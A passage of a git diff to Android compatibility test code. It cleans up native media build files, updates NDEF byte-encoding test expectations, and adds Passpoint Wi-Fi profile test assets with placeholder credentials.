+++ b/tests/tests/mediastress/preconditions/tests/src/android/mediastress/cts/preconditions/MediaPreparerTest.java
@@ -21,6 +21,7 @@
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.OptionSetter;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.targetprep.TargetSetupError;
 
 import junit.framework.TestCase;
 
diff --git a/tests/tests/nativemedia/sl/Android.mk b/tests/tests/nativemedia/sl/Android.mk
index e782994..2c50cd7 100644
--- a/tests/tests/nativemedia/sl/Android.mk
+++ b/tests/tests/nativemedia/sl/Android.mk
@@ -16,21 +16,14 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-test_executable := CtsNativeMediaSlTestCases
-list_executable := $(test_executable)_list
-
 include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE := $(test_executable)
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE := CtsNativeMediaSlTestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 LOCAL_C_INCLUDES := \
-    external/gtest/include \
     $(call include-path-for, wilhelm) \
     $(call include-path-for, wilhelm-ut)
 
@@ -54,21 +47,3 @@
 LOCAL_CFLAGS := -Werror -Wall
 
 include $(BUILD_CTS_EXECUTABLE)
-
-include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE := $(list_executable)
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-    src/SLObjectCreationTest.cpp
-
-LOCAL_CFLAGS := \
-    -DBUILD_ONLY \
-    -Werror -Wall
-
-LOCAL_SHARED_LIBRARIES := \
-    liblog \
-
-include $(BUILD_HOST_NATIVE_TEST)
diff --git a/tests/tests/nativemedia/sl/src/SLObjectCreationTest.cpp b/tests/tests/nativemedia/sl/src/SLObjectCreationTest.cpp
index d0b3be0..516d86e 100644
--- a/tests/tests/nativemedia/sl/src/SLObjectCreationTest.cpp
+++ b/tests/tests/nativemedia/sl/src/SLObjectCreationTest.cpp
@@ -38,13 +38,10 @@
 #include <gtest/gtest.h>
 #include <utils/Log.h>
 
-#if !defined(BUILD_ONLY)
 #include "SLES/OpenSLES.h"
 #include "SLES/OpenSLES_Android.h"
 #include "OpenSLESUT.h"
-#endif
 
-#if !defined(BUILD_ONLY)
 //-----------------------------------------------------------------
 /* Checks for error and displays the error code if any */
 bool IsOk(SLresult res) {
@@ -309,20 +306,6 @@
         (*audioRecorderObj)->Destroy(audioRecorderObj);
     }
 };
-#else
-class SLObjectCreationTest : public ::testing::Test {
-protected:
-    void OutputMixCreation() { }
-    void AudioPlayerFromUriCreation() { }
-    void AudioPlayerFromFdCreation() { }
-    void AudioPlayerFromPcmBqCreation() { }
-    void AudioPlayerFromTsAbqCreation() { }
-    void AudioPlayerFromUriToPcmBqCreation() { }
-    void AudioPlayerFromFdToPcmBqCreation() { }
-    void AudioPlayerFromAdtsAbqToPcmBqCreation() { }
-    void AudioRecorderCreation(bool) { }
-};
-#endif
 
 //-------------------------------------------------------------------------------------------------
 TEST_F(SLObjectCreationTest, testEngineCreation) {
diff --git a/tests/tests/nativemedia/xa/Android.mk b/tests/tests/nativemedia/xa/Android.mk
index f71d853..8ea1062 100644
--- a/tests/tests/nativemedia/xa/Android.mk
+++ b/tests/tests/nativemedia/xa/Android.mk
@@ -16,21 +16,14 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-test_executable := CtsNativeMediaXaTestCases
-list_executable := $(test_executable)_list
-
 include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE:= $(test_executable)
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE:= CtsNativeMediaXaTestCases
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 LOCAL_C_INCLUDES := \
-    external/gtest/include \
     $(call include-path-for, wilhelm) \
     $(call include-path-for, wilhelm-ut)
 
@@ -51,20 +44,3 @@
 LOCAL_COMPATIBILITY_SUITE := cts
 
 include $(BUILD_CTS_EXECUTABLE)
-
-include $(CLEAR_VARS)
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-LOCAL_MODULE := $(list_executable)
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-    src/XAObjectCreationTest.cpp
-
-LOCAL_CFLAGS := \
-    -DBUILD_ONLY \
-
-LOCAL_SHARED_LIBRARIES := \
-    liblog \
-
-include $(BUILD_HOST_NATIVE_TEST)
diff --git a/tests/tests/nativemedia/xa/src/XAObjectCreationTest.cpp b/tests/tests/nativemedia/xa/src/XAObjectCreationTest.cpp
index d905451..92ba5aa 100644
--- a/tests/tests/nativemedia/xa/src/XAObjectCreationTest.cpp
+++ b/tests/tests/nativemedia/xa/src/XAObjectCreationTest.cpp
@@ -27,12 +27,9 @@
 #include <gtest/gtest.h>
 #include <utils/Log.h>
 
-#if !defined(BUILD_ONLY)
 #include "OMXAL/OpenMAXAL.h"
 #include "OMXAL/OpenMAXAL_Android.h"
-#endif
 
-#if !defined(BUILD_ONLY)
 //-----------------------------------------------------------------
 /* Checks for error and displays the error code if any */
 bool IsOk(XAresult res) {
@@ -118,12 +115,6 @@
     }
 
 };
-#else
-class XAObjectCreationTest : public ::testing::Test {
-protected:
-    void OutputMixCreation() { }
-};
-#endif
 
 //-------------------------------------------------------------------------------------------------
 TEST_F(XAObjectCreationTest, testEngineCreation) {
diff --git a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
index 47bdfa2..b0a838c 100644
--- a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
+++ b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
@@ -190,13 +190,13 @@
 
         // 3 records, 7 chunks
         assertEquals(new NdefMessage(
-                new NdefRecord(NdefRecord.TNF_EXTERNAL_TYPE, null, null, new byte[] {1,2,3,4}),
+                new NdefRecord(NdefRecord.TNF_EXTERNAL_TYPE, new byte[] {0x21}, null, new byte[] {1,2,3,4}),
                 new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null),
-                new NdefRecord(NdefRecord.TNF_MIME_MEDIA, null, null, new byte[] {11,12,13,14})),
+                new NdefRecord(NdefRecord.TNF_MIME_MEDIA, new byte[] {0x21}, null, new byte[] {11,12,13,14})),
                 new NdefMessage(new byte[] {
-                        (byte)0xB4, 0, 1, 1, (byte)0x36, 0, 2, 2, 3, (byte)0x16, 0, 1, 4,
+                        (byte)0xB4, 1, 1, (byte)0x21, 1, (byte)0x36, 0, 2, 2, 3, (byte)0x16, 0, 1, 4,
                         (byte)0x10, 0, 0,
-                        (byte)0x32, 0, 2, 11, 12, (byte)0x36, 0, 1, 13, (byte)0x56, 0, 1, 14
+                        (byte)0x32, 1, 2, (byte)0x21, 11, 12, (byte)0x36, 0, 1, 13, (byte)0x56, 0, 1, 14
                 }));
 
         // 255 byte payload
@@ -435,7 +435,7 @@
         NdefRecord r;
 
         // single short record
-        assertEquals(new byte[] {(byte)0xD0, 0, 0},
+        assertEquals(new byte[] {(byte)0xD8, 0, 0, 0},
                 new NdefMessage(
                         new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null)).toByteArray());
 
@@ -456,7 +456,7 @@
 
         // 3 records
         r = new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null);
-        assertEquals(new byte[] {(byte)0x90, 0, 0, (byte)0x10, 0, 0, (byte)0x50, 0, 0},
+        assertEquals(new byte[] {(byte)0x98, 0, 0, 0, (byte)0x18, 0, 0, 0, (byte)0x58, 0, 0, 0},
                 new NdefMessage(r, r, r).toByteArray());
 
         // 256 byte payload
diff --git a/tests/tests/net/Android.mk b/tests/tests/net/Android.mk
index c553a9b..7d2b0ba 100644
--- a/tests/tests/net/Android.mk
+++ b/tests/tests/net/Android.mk
@@ -34,8 +34,14 @@
 
 LOCAL_PACKAGE_NAME := CtsNetTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests-support  ctsdeviceutil \
-                               ctstestrunner ctstestserver mockwebserver
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    core-tests-support \
+    ctsdeviceutil \
+    ctstestrunner \
+    ctstestserver \
+    mockwebserver \
+    junit \
+    legacy-android-test
 
 # uncomment when b/13249961 is fixed
 #LOCAL_SDK_VERSION := current
diff --git a/tests/tests/net/assets/HSR1ProfileWithCACert.base64 b/tests/tests/net/assets/HSR1ProfileWithCACert.base64
new file mode 100644
index 0000000..995963d
--- /dev/null
+++ b/tests/tests/net/assets/HSR1ProfileWithCACert.base64
@@ -0,0 +1,85 @@
+Q29udGVudC1UeXBlOiBtdWx0aXBhcnQvbWl4ZWQ7IGJvdW5kYXJ5PXtib3VuZGFyeX0KQ29udGVu
+dC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0CgotLXtib3VuZGFyeX0KQ29udGVudC1UeXBlOiBh
+cHBsaWNhdGlvbi94LXBhc3Nwb2ludC1wcm9maWxlCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6
+IGJhc2U2NAoKUEUxbmJYUlVjbVZsSUhodGJHNXpQU0p6ZVc1amJXdzZaRzFrWkdZeExqSWlQZ29n
+SUR4V1pYSkVWRVErTVM0eVBDOVdaWEpFVkVRKwpDaUFnUEU1dlpHVStDaUFnSUNBOFRtOWtaVTVo
+YldVK1VHVnlVSEp2ZG1sa1pYSlRkV0p6WTNKcGNIUnBiMjQ4TDA1dlpHVk9ZVzFsClBnb2dJQ0Fn
+UEZKVVVISnZjR1Z5ZEdsbGN6NEtJQ0FnSUNBZ1BGUjVjR1UrQ2lBZ0lDQWdJQ0FnUEVSRVJrNWhi
+V1UrZFhKdU9uZG0KWVRwdGJ6cG9iM1J6Y0c5ME1tUnZkREF0Y0dWeWNISnZkbWxrWlhKemRXSnpZ
+M0pwY0hScGIyNDZNUzR3UEM5RVJFWk9ZVzFsUGdvZwpJQ0FnSUNBOEwxUjVjR1UrQ2lBZ0lDQThM
+MUpVVUhKdmNHVnlkR2xsY3o0S0lDQWdJRHhPYjJSbFBnb2dJQ0FnSUNBOFRtOWtaVTVoCmJXVSth
+VEF3TVR3dlRtOWtaVTVoYldVK0NpQWdJQ0FnSUR4T2IyUmxQZ29nSUNBZ0lDQWdJRHhPYjJSbFRt
+RnRaVDVJYjIxbFUxQTgKTDA1dlpHVk9ZVzFsUGdvZ0lDQWdJQ0FnSUR4T2IyUmxQZ29nSUNBZ0lD
+QWdJQ0FnUEU1dlpHVk9ZVzFsUGtaeWFXVnVaR3g1VG1GdApaVHd2VG05a1pVNWhiV1UrQ2lBZ0lD
+QWdJQ0FnSUNBOFZtRnNkV1UrUTJWdWRIVnllU0JJYjNWelpUd3ZWbUZzZFdVK0NpQWdJQ0FnCklD
+QWdQQzlPYjJSbFBnb2dJQ0FnSUNBZ0lEeE9iMlJsUGdvZ0lDQWdJQ0FnSUNBZ1BFNXZaR1ZPWVcx
+bFBrWlJSRTQ4TDA1dlpHVk8KWVcxbFBnb2dJQ0FnSUNBZ0lDQWdQRlpoYkhWbFBtMXBOaTVqYnk1
+MWF6d3ZWbUZzZFdVK0NpQWdJQ0FnSUNBZ1BDOU9iMlJsUGdvZwpJQ0FnSUNBZ0lEeE9iMlJsUGdv
+Z0lDQWdJQ0FnSUNBZ1BFNXZaR1ZPWVcxbFBsSnZZVzFwYm1kRGIyNXpiM0owYVhWdFQwazhMMDV2
+ClpHVk9ZVzFsUGdvZ0lDQWdJQ0FnSUNBZ1BGWmhiSFZsUGpFeE1qSXpNeXcwTkRVMU5qWThMMVpo
+YkhWbFBnb2dJQ0FnSUNBZ0lEd3YKVG05a1pUNEtJQ0FnSUNBZ1BDOU9iMlJsUGdvZ0lDQWdJQ0E4
+VG05a1pUNEtJQ0FnSUNBZ0lDQThUbTlrWlU1aGJXVStRM0psWkdWdQpkR2xoYkR3dlRtOWtaVTVo
+YldVK0NpQWdJQ0FnSUNBZ1BFNXZaR1UrQ2lBZ0lDQWdJQ0FnSUNBOFRtOWtaVTVoYldVK1VtVmhi
+RzA4CkwwNXZaR1ZPWVcxbFBnb2dJQ0FnSUNBZ0lDQWdQRlpoYkhWbFBuTm9ZV3RsYmk1emRHbHlj
+bVZrTG1OdmJUd3ZWbUZzZFdVK0NpQWcKSUNBZ0lDQWdQQzlPYjJSbFBnb2dJQ0FnSUNBZ0lEeE9i
+MlJsUGdvZ0lDQWdJQ0FnSUNBZ1BFNXZaR1ZPWVcxbFBsVnpaWEp1WVcxbApVR0Z6YzNkdmNtUThM
+MDV2WkdWT1lXMWxQZ29nSUNBZ0lDQWdJQ0FnUEU1dlpHVStDaUFnSUNBZ0lDQWdJQ0FnSUR4T2Iy
+UmxUbUZ0ClpUNVZjMlZ5Ym1GdFpUd3ZUbTlrWlU1aGJXVStDaUFnSUNBZ0lDQWdJQ0FnSUR4V1lX
+eDFaVDVxWVcxbGN6d3ZWbUZzZFdVK0NpQWcKSUNBZ0lDQWdJQ0E4TDA1dlpHVStDaUFnSUNBZ0lD
+QWdJQ0E4VG05a1pUNEtJQ0FnSUNBZ0lDQWdJQ0FnUEU1dlpHVk9ZVzFsUGxCaApjM04zYjNKa1BD
+OU9iMlJsVG1GdFpUNEtJQ0FnSUNBZ0lDQWdJQ0FnUEZaaGJIVmxQbGx0T1hWYVJFRjNUbmM5UFR3
+dlZtRnNkV1UrCkNpQWdJQ0FnSUNBZ0lDQThMMDV2WkdVK0NpQWdJQ0FnSUNBZ0lDQThUbTlrWlQ0
+S0lDQWdJQ0FnSUNBZ0lDQWdQRTV2WkdWT1lXMWwKUGtWQlVFMWxkR2h2WkR3dlRtOWtaVTVoYldV
+K0NpQWdJQ0FnSUNBZ0lDQWdJRHhPYjJSbFBnb2dJQ0FnSUNBZ0lDQWdJQ0FnSUR4TwpiMlJsVG1G
+dFpUNUZRVkJVZVhCbFBDOU9iMlJsVG1GdFpUNEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBOFZtRnNkV1Ur
+TWpFOEwxWmhiSFZsClBnb2dJQ0FnSUNBZ0lDQWdJQ0E4TDA1dlpHVStDaUFnSUNBZ0lDQWdJQ0Fn
+SUR4T2IyUmxQZ29nSUNBZ0lDQWdJQ0FnSUNBZ0lEeE8KYjJSbFRtRnRaVDVKYm01bGNrMWxkR2h2
+WkR3dlRtOWtaVTVoYldVK0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnUEZaaGJIVmxQazFUTFVOSQpRVkF0
+VmpJOEwxWmhiSFZsUGdvZ0lDQWdJQ0FnSUNBZ0lDQThMMDV2WkdVK0NpQWdJQ0FnSUNBZ0lDQThM
+MDV2WkdVK0NpQWdJQ0FnCklDQWdQQzlPYjJSbFBnb2dJQ0FnSUNBZ0lEeE9iMlJsUGdvZ0lDQWdJ
+Q0FnSUNBZ1BFNXZaR1ZPWVcxbFBrUnBaMmwwWVd4RFpYSjAKYVdacFkyRjBaVHd2VG05a1pVNWhi
+V1UrQ2lBZ0lDQWdJQ0FnSUNBOFRtOWtaVDRLSUNBZ0lDQWdJQ0FnSUNBZ1BFNXZaR1ZPWVcxbApQ
+a05sY25ScFptbGpZWFJsVkhsd1pUd3ZUbTlrWlU1aGJXVStDaUFnSUNBZ0lDQWdJQ0FnSUR4V1lX
+eDFaVDU0TlRBNWRqTThMMVpoCmJIVmxQZ29nSUNBZ0lDQWdJQ0FnUEM5T2IyUmxQZ29nSUNBZ0lD
+QWdJQ0FnUEU1dlpHVStDaUFnSUNBZ0lDQWdJQ0FnSUR4T2IyUmwKVG1GdFpUNURaWEowVTBoQk1q
+VTJSbWx1WjJWeWNISnBiblE4TDA1dlpHVk9ZVzFsUGdvZ0lDQWdJQ0FnSUNBZ0lDQThWbUZzZFdV
+KwpNV1l4WmpGbU1XWXhaakZtTVdZeFpqRm1NV1l4WmpGbU1XWXhaakZtTVdZeFpqRm1NV1l4WmpG
+bU1XWXhaakZtTVdZeFpqRm1NV1l4ClpqRm1NV1l4Wmp3dlZtRnNkV1UrQ2lBZ0lDQWdJQ0FnSUNB
+OEwwNXZaR1UrQ2lBZ0lDQWdJQ0FnUEM5T2IyUmxQZ29nSUNBZ0lDQWcKSUR4T2IyUmxQZ29nSUNB
+Z0lDQWdJQ0FnUEU1dlpHVk9ZVzFsUGxOSlRUd3ZUbTlrWlU1aGJXVStDaUFnSUNBZ0lDQWdJQ0E4
+VG05awpaVDRLSUNBZ0lDQWdJQ0FnSUNBZ1BFNXZaR1ZPWVcxbFBrbE5VMGs4TDA1dlpHVk9ZVzFs
+UGdvZ0lDQWdJQ0FnSUNBZ0lDQThWbUZzCmRXVSthVzF6YVR3dlZtRnNkV1UrQ2lBZ0lDQWdJQ0Fn
+SUNBOEwwNXZaR1UrQ2lBZ0lDQWdJQ0FnSUNBOFRtOWtaVDRLSUNBZ0lDQWcKSUNBZ0lDQWdQRTV2
+WkdWT1lXMWxQa1ZCVUZSNWNHVThMMDV2WkdWT1lXMWxQZ29nSUNBZ0lDQWdJQ0FnSUNBOFZtRnNk
+V1UrTWpROApMMVpoYkhWbFBnb2dJQ0FnSUNBZ0lDQWdQQzlPYjJSbFBnb2dJQ0FnSUNBZ0lEd3ZU
+bTlrWlQ0S0lDQWdJQ0FnUEM5T2IyUmxQZ29nCklDQWdQQzlPYjJSbFBnb2dJRHd2VG05a1pUNEtQ
+QzlOWjIxMFZISmxaVDRLCgotLXtib3VuZGFyeX0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94
+LXg1MDktY2EtY2VydApDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQKCkxTMHRMUzFD
+UlVkSlRpQkRSVkpVU1VaSlEwRlVSUzB0TFMwdENrMUpTVVJMUkVORFFXaERaMEYzU1VKQlowbEtR
+VWxNYkVaa2QzcE0KVm5WeVRVRXdSME5UY1VkVFNXSXpSRkZGUWtOM1ZVRk5Ra2w0UlVSQlQwSm5U
+bFlLUWtGTlZFSXdWa0pWUTBKRVVWUkZkMGhvWTA1TgpWRmwzVFZSRmVVMVVSVEZOUkVVeFYyaGpU
+azFxV1hkTlZFRTFUVlJGTVUxRVJURlhha0ZUVFZKQmR3cEVaMWxFVmxGUlJFVjNaRVpSClZrRm5V
+VEJGZUUxSlNVSkpha0ZPUW1kcmNXaHJhVWM1ZHpCQ1FWRkZSa0ZCVDBOQlVUaEJUVWxKUWtOblMw
+TkJVVVZCQ25wdVFWQlYKZWpJMlRYTmhaVFIzY3pRelkzcFNOREV2U2pKUmRISlRTVnBWUzIxV1ZY
+TldkVzFFWWxsSWNsQk9kbFJZUzFOTldFRmpaWGRQVWtSUgpXVmdLVW5GMlNIWndiamhEYzJOQ01T
+dHZSMWhhZGtoM2VHbzBlbFl3VjB0dlN6SjZaVmhyWVhVemRtTjViRE5JU1V0MWNFcG1jVEpVClJV
+RkRaV1pXYW1vd2RBcEtWeXRZTXpWUVIxZHdPUzlJTlhwSlZVNVdUbFpxVXpkVmJYTTRORWwyUzJo
+U1FqZzFNVEpRUWpsVmVVaGgKWjFoWlZsZzFSMWR3UVdOV2NIbG1jbXhTQ2taSk9WRmthR2dyVUdK
+ck1IVjVhM1JrWW1ZdlEyUm1aMGhQYjJWaWNsUjBkMUpzYWswdwpiMFIwV0NzeVEzWTJhakIzUWtz
+M2FFUTRjRkIyWmpFcmRYa0tSM3BqZW1sblFWVXZORXQzTjJWYWNYbGtaamxDS3pWU2RYQlNLMGxh
+CmFYQllOREY0UldsSmNrdFNkM0ZwTlRFM1YxZDZXR05xWVVjeVkwNWlaalExTVFwNGNFZzFVRzVX
+TTJreGRIRXdOR3BOUjFGVmVrWjMKU1VSQlVVRkNielJIUVUxSU5IZElVVmxFVmxJd1QwSkNXVVZH
+U1hkWU5IWnpPRUpwUW1OVFkyOWtDalZ1YjFwSVVrMDRSVFFyYVUxRgpTVWRCTVZWa1NYZFJOMDFF
+YlVGR1NYZFlOSFp6T0VKcFFtTlRZMjlrTlc1dldraFNUVGhGTkN0cGIxSmhhMFpFUVZNS1RWSkJk
+MFJuCldVUldVVkZFUlhka1JsRldRV2RSTUVWNFoyZHJRV2QxVlZZelJFMTBWelp6ZDBSQldVUldV
+akJVUWtGVmQwRjNSVUl2ZWtGTVFtZE8KVmdwSVVUaEZRa0ZOUTBGUldYZEVVVmxLUzI5YVNXaDJZ
+MDVCVVVWTVFsRkJSR2RuUlVKQlJtWlJjVTlVUVRkU2RqZExLMngxVVRkdwpibUZ6TkVKWmQwaEZD
+amxIUlZBdmRXOW9kalpMVDNrd1ZFZFJSbUp5VWxScVJtOU1WazVDT1VKYU1YbHRUVVJhTUM5VVNY
+ZEpWV00zCmQyazNZVGgwTlcxRmNWbElNVFV6ZDFjS1lWZHZiMmxUYW5sTVRHaDFTVFJ6VG5KT1Ew
+OTBhWE5rUW5FeWNqSk5SbGgwTm1nd2JVRlIKV1U5UWRqaFNPRXMzTDJablUzaEhSbkY2YUhsT2JX
+MVdUQW94Y1VKS2JHUjRNelJUY0hkelZFRk1VVlpRWWpSb1IzZEtlbHBtY2pGUQpZM0JGVVhnMmVF
+MXVWR3c0ZUVWWFdrVXpUWE01T1hWaFZYaGlVWEZKZDFKMUNreG5RVTlyVGtOdFdUSnRPRGxXYUhw
+aFNFb3hkVlk0Ck5VRmtUUzkwUkN0WmMyMXNibTVxZERsTVVrTmxhbUpDYVhCcVNVZHFUMWh5WnpG
+S1VDdHNlRllLYlhWTk5IWklLMUF2Yld4dGVITlEKVUhvd1pEWTFZaXRGUjIxS1duQnZUR3RQTDNS
+a1RrNTJRMWw2YWtwd1ZFVlhjRVZ6VHpaT1RXaExXVzg5Q2kwdExTMHRSVTVFSUVORgpVbFJKUmts
+RFFWUkZMUzB0TFMwSwotLXtib3VuZGFyeX0tLQo=
diff --git a/tests/tests/net/assets/PerProviderSubscription.xml b/tests/tests/net/assets/PerProviderSubscription.xml
new file mode 100644
index 0000000..7f2d95d
--- /dev/null
+++ b/tests/tests/net/assets/PerProviderSubscription.xml
@@ -0,0 +1,399 @@
+<MgmtTree xmlns="syncml:dmddf1.2">
+  <VerDTD>1.2</VerDTD>
+  <Node>
+    <NodeName>PerProviderSubscription</NodeName>
+    <RTProperties>
+      <Type>
+        <DDFName>urn:wfa:mo:hotspot2dot0-perprovidersubscription:1.0</DDFName>
+      </Type>
+    </RTProperties>
+    <Node>
+      <NodeName>UpdateIdentifier</NodeName>
+      <Value>12</Value>
+    </Node>
+    <Node>
+      <NodeName>i001</NodeName>
+      <Node>
+        <NodeName>HomeSP</NodeName>
+        <Node>
+          <NodeName>FriendlyName</NodeName>
+          <Value>Century House</Value>
+        </Node>
+        <Node>
+          <NodeName>FQDN</NodeName>
+          <Value>mi6.co.uk</Value>
+        </Node>
+        <Node>
+          <NodeName>RoamingConsortiumOI</NodeName>
+          <Value>112233,445566</Value>
+        </Node>
+        <Node>
+          <NodeName>IconURL</NodeName>
+          <Value>icon.test.com</Value>
+        </Node>
+        <Node>
+          <NodeName>NetworkID</NodeName>
+          <Node>
+            <NodeName>n001</NodeName>
+            <Node>
+              <NodeName>SSID</NodeName>
+              <Value>TestSSID</Value>
+            </Node>
+            <Node>
+              <NodeName>HESSID</NodeName>
+              <Value>12345678</Value>
+            </Node>
+          </Node>
+          <Node>
+            <NodeName>n002</NodeName>
+            <Node>
+              <NodeName>SSID</NodeName>
+              <Value>NullHESSID</Value>
+            </Node>
+          </Node>
+        </Node>
+        <Node>
+          <NodeName>HomeOIList</NodeName>
+          <Node>
+            <NodeName>h001</NodeName>
+            <Node>
+              <NodeName>HomeOI</NodeName>
+              <Value>11223344</Value>
+            </Node>
+            <Node>
+              <NodeName>HomeOIRequired</NodeName>
+              <Value>true</Value>
+            </Node>
+          </Node>
+          <Node>
+            <NodeName>h002</NodeName>
+            <Node>
+              <NodeName>HomeOI</NodeName>
+              <Value>55667788</Value>
+            </Node>
+            <Node>
+              <NodeName>HomeOIRequired</NodeName>
+              <Value>false</Value>
+            </Node>
+          </Node>
+        </Node>
+        <Node>
+          <NodeName>OtherHomePartners</NodeName>
+          <Node>
+            <NodeName>o001</NodeName>
+            <Node>
+              <NodeName>FQDN</NodeName>
+              <Value>other.fqdn.com</Value>
+            </Node>
+          </Node>
+        </Node>
+      </Node>
+      <Node>
+        <NodeName>Credential</NodeName>
+        <Node>
+          <NodeName>CreationDate</NodeName>
+          <Value>2016-01-01T10:00:00Z</Value>
+        </Node>
+        <Node>
+          <NodeName>ExpirationDate</NodeName>
+          <Value>2016-02-01T10:00:00Z</Value>
+        </Node>
+        <Node>
+          <NodeName>Realm</NodeName>
+          <Value>shaken.stirred.com</Value>
+        </Node>
+        <Node>
+          <NodeName>CheckAAAServerCertStatus</NodeName>
+          <Value>true</Value>
+        </Node>
+        <Node>
+          <NodeName>UsernamePassword</NodeName>
+          <Node>
+            <NodeName>Username</NodeName>
+            <Value>james</Value>
+          </Node>
+          <Node>
+            <NodeName>Password</NodeName>
+            <Value>Ym9uZDAwNw==</Value>
+          </Node>
+          <Node>
+            <NodeName>MachineManaged</NodeName>
+            <Value>true</Value>
+          </Node>
+          <Node>
+            <NodeName>SoftTokenApp</NodeName>
+            <Value>TestApp</Value>
+          </Node>
+          <Node>
+            <NodeName>AbleToShare</NodeName>
+            <Value>true</Value>
+          </Node>
+          <Node>
+            <NodeName>EAPMethod</NodeName>
+            <Node>
+              <NodeName>EAPType</NodeName>
+              <Value>21</Value>
+            </Node>
+            <Node>
+              <NodeName>InnerMethod</NodeName>
+              <Value>MS-CHAP-V2</Value>
+            </Node>
+          </Node>
+        </Node>
+        <Node>
+          <NodeName>DigitalCertificate</NodeName>
+          <Node>
+            <NodeName>CertificateType</NodeName>
+            <Value>x509v3</Value>
+          </Node>
+          <Node>
+            <NodeName>CertSHA256Fingerprint</NodeName>
+            <Value>1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f</Value>
+          </Node>
+        </Node>
+        <Node>
+          <NodeName>SIM</NodeName>
+          <Node>
+            <NodeName>IMSI</NodeName>
+            <Value>imsi</Value>
+          </Node>
+          <Node>
+            <NodeName>EAPType</NodeName>
+            <Value>24</Value>
+          </Node>
+        </Node>
+      </Node>
+      <Node>
+        <NodeName>Policy</NodeName>
+        <Node>
+          <NodeName>PreferredRoamingPartnerList</NodeName>
+          <Node>
+            <NodeName>p001</NodeName>
+            <Node>
+              <NodeName>FQDN_Match</NodeName>
+              <Value>test1.fqdn.com,exactMatch</Value>
+            </Node>
+            <Node>
+              <NodeName>Priority</NodeName>
+              <Value>127</Value>
+            </Node>
+            <Node>
+              <NodeName>Country</NodeName>
+              <Value>us,fr</Value>
+            </Node>
+          </Node>
+          <Node>
+            <NodeName>p002</NodeName>
+            <Node>
+              <NodeName>FQDN_Match</NodeName>
+              <Value>test2.fqdn.com,includeSubdomains</Value>
+            </Node>
+            <Node>
+              <NodeName>Priority</NodeName>
+              <Value>200</Value>
+            </Node>
+            <Node>
+              <NodeName>Country</NodeName>
+              <Value>*</Value>
+            </Node>
+          </Node>
+        </Node>
+        <Node>
+          <NodeName>MinBackhaulThreshold</NodeName>
+          <Node>
+            <NodeName>m001</NodeName>
+            <Node>
+              <NodeName>NetworkType</NodeName>
+              <Value>home</Value>
+            </Node>
+            <Node>
+              <NodeName>DLBandwidth</NodeName>
+              <Value>23412</Value>
+            </Node>
+            <Node>
+              <NodeName>ULBandwidth</NodeName>
+              <Value>9823</Value>
+            </Node>
+          </Node>
+          <Node>
+            <NodeName>m002</NodeName>
+            <Node>
+              <NodeName>NetworkType</NodeName>
+              <Value>roaming</Value>
+            </Node>
+            <Node>
+              <NodeName>DLBandwidth</NodeName>
+              <Value>9271</Value>
+            </Node>
+            <Node>
+              <NodeName>ULBandwidth</NodeName>
+              <Value>2315</Value>
+            </Node>
+          </Node>
+        </Node>
+        <Node>
+          <NodeName>PolicyUpdate</NodeName>
+          <Node>
+            <NodeName>UpdateInterval</NodeName>
+            <Value>120</Value>
+          </Node>
+          <Node>
+            <NodeName>UpdateMethod</NodeName>
+            <Value>OMA-DM-ClientInitiated</Value>
+          </Node>
+          <Node>
+            <NodeName>Restriction</NodeName>
+            <Value>HomeSP</Value>
+          </Node>
+          <Node>
+            <NodeName>URI</NodeName>
+            <Value>policy.update.com</Value>
+          </Node>
+          <Node>
+            <NodeName>UsernamePassword</NodeName>
+            <Node>
+              <NodeName>Username</NodeName>
+              <Value>updateUser</Value>
+            </Node>
+            <Node>
+              <NodeName>Password</NodeName>
+              <Value>updatePass</Value>
+            </Node>
+          </Node>
+          <Node>
+            <NodeName>TrustRoot</NodeName>
+            <Node>
+              <NodeName>CertURL</NodeName>
+              <Value>update.cert.com</Value>
+            </Node>
+            <Node>
+              <NodeName>CertSHA256Fingerprint</NodeName>
+              <Value>1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f1f</Value>
+            </Node>
+          </Node>
+        </Node>
+        <Node>
+          <NodeName>SPExclusionList</NodeName>
+          <Node>
+            <NodeName>s001</NodeName>
+            <Node>
+              <NodeName>SSID</NodeName>
+              <Value>excludeSSID</Value>
